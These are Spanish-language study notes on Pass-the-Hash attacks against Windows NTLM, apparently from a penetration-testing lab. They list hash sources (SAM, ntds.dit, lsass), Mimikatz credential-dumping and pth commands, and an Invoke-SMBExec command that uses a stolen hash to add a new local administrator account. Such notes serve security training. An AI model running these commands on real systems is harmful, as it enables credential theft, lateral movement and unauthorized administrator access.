Es un ataque en el que el atacante puede usar el hash de la contraseña de un usuario en vez de la contraseña en texto plano
El hash NTLM de un usuario es estático mientras la contraseña no cambie.
Por ello, si el atacante consigue el hash, puede autenticarse sin conocer la contraseña en texto plano
Fuentes de obtención de hashes
SAM local de Windows en un host comprometido.
Base de datos NTDS (ntds.dit) del Domain Controller.
Memoria (lsass.exe) en un sistema Windows
Windows NTLM
NTLM (New Technology LAN Manager) es un protocolo de autenticación legado de Microsoft. No usa salt en las contraseñas, por lo que si un atacante tiene el hash NTLM puede reusarlo. Kerberos reemplazó NTLM como mecanismo por defecto en dominios AD modernos pero sigue presente por compatibilidad.
Pass the Hash - Mimikatz (Windows)
Herramienta: Mimikatz. Módulo: sekurlsa::pth
Parámetros: /user, /rc4 (o /NTLM), /domain (o . para cuentas locales), /run
Para obtener los hashes de un DC (una vez ejecutado mimikatz):
txt
sekurlsa::logonpasswords
Pass the Hash - Powershell (Windows)
Herramienta: Invoke-TheHash (funciones PowerShell para PtH con WMI y SMB).
SMBExec
powershell
Import-Module .\Invoke-TheHash.psd1
Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose
LocalAccountTokenFilterPolicy: 0 = solo la cuenta admin RID-500 puede hacer admin remoto; 1 = cualquier cuenta local del grupo Administrators puede. FilterAdministratorToken a 1 = la cuenta Admin local también se somete a UAC.